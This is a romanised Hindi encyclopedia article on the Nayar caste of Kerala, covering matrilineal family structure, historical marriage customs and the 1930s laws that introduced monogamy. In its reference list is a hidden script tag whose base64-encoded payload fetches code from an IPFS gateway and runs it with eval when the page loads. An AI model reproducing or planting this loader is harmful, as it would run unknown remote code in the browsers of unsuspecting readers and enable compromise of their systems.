नायर
nayar ek hindoo jati, jo bharat ke keral rajy mean paee jati hai. varsh 1792 mean british vijay se pahale is kshetr mean chhote samanti rajy the, jinamean se pratyek mean rajasi v sanbhraant vansh, sahayak sainik v adhikaansh bhoo-prabandhak jatiyoan ke the. british shasan kal mean 'nayar' rajaniti, sarakari seva, chikitsa, shiksha aur vidhi kshetr mean prabhavashali ho ge the.
parivarik ikaee
adhikaansh hinduoan ke viparit nayar paranparik roop se matrivanshaj the. unaki parivarik ikaee mean bhaee aur bahanean, bahanoan ke bachche aur unaki betiyoan ke bachche hote the. parivar mean sanpatti ka sanyukt svamitv tha. sabase vriddh purush ikaee ka vaidhanik pramukh hota tha. vivah aur nivas ke niyam vibhinn rajyoan mean kuchh alag-alag the.[1]
vivah tatha ritirivaj
16vian aur 18vian shatabdi ke bich kalikat (vartaman kojhikod), valuvanad, palaghat aur 'kochin' (vartaman kochchi) ke madhy-rajyoan mean nayaroan ke atyadhik asamany vaivahik riti-rivaj the, jinaka kafi adhyayan kiya gaya hai. yauvanaranbh se poorn kanya ka dharmavidhi se 'nayar' ya 'nanboodiri' brahman ke sath vivah kiya jata tha. pati usake pas ja sakata tha.[2] kuchh mamaloan mean samaroh ke turant bad dharmavidhi se talaq ho jata tha. yauvanaranbh ke pashchath kanya athava mahila ke pas apani athava kisi ooanchi jati ke kee pati a sakate the. nayar purush apani ichchhanusar samuchit varg ki kee mahilaoan ke pas ja sakate the. mahilaoan ko unake matrivansh varg ke anuroop rakha jata tha aur pitaoan ko apane bachchoan ke bare mean koee adhikar athava dayitv nahian hote the.
1930 mean parit qanoon
british kal ke praranbhik daur mean nayar senaoan ko bhang kar diya gaya. ashant: isake parinamasvaroop sanbhavat: 19vian shatabdi mean bahuvaivahik samoohoan ka dhire-dhire aant ho gaya. bachche ka palan-poshan pita dvara kiya jane laga, taki vriddhavastha mean vah usaki dekhabhal kar sake aur usaki mrityu par 'aantim sanskar' kar sake. 1930 ke dashak mean parit qanoonoan se ekal vivah lagoo hua. purush tatha mahila sadasyoan ke bich matrivansh ki sanpatti ke vibhajan ki anumati mili aur bachchoan ko pita se uttaradhikar tatha palan-poshan ke poorn adhikar mil ge. 20vian shatabdi ke madhy tak, visheshakar shaharoan mean, ekal parivaroan ka alag rihayashi aur arthik ikaiyaan banana ek samany prachalan hota chala gaya.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 bharat jnanakosh, khand-3 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 121 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ parantu isake lie badhy nahian tha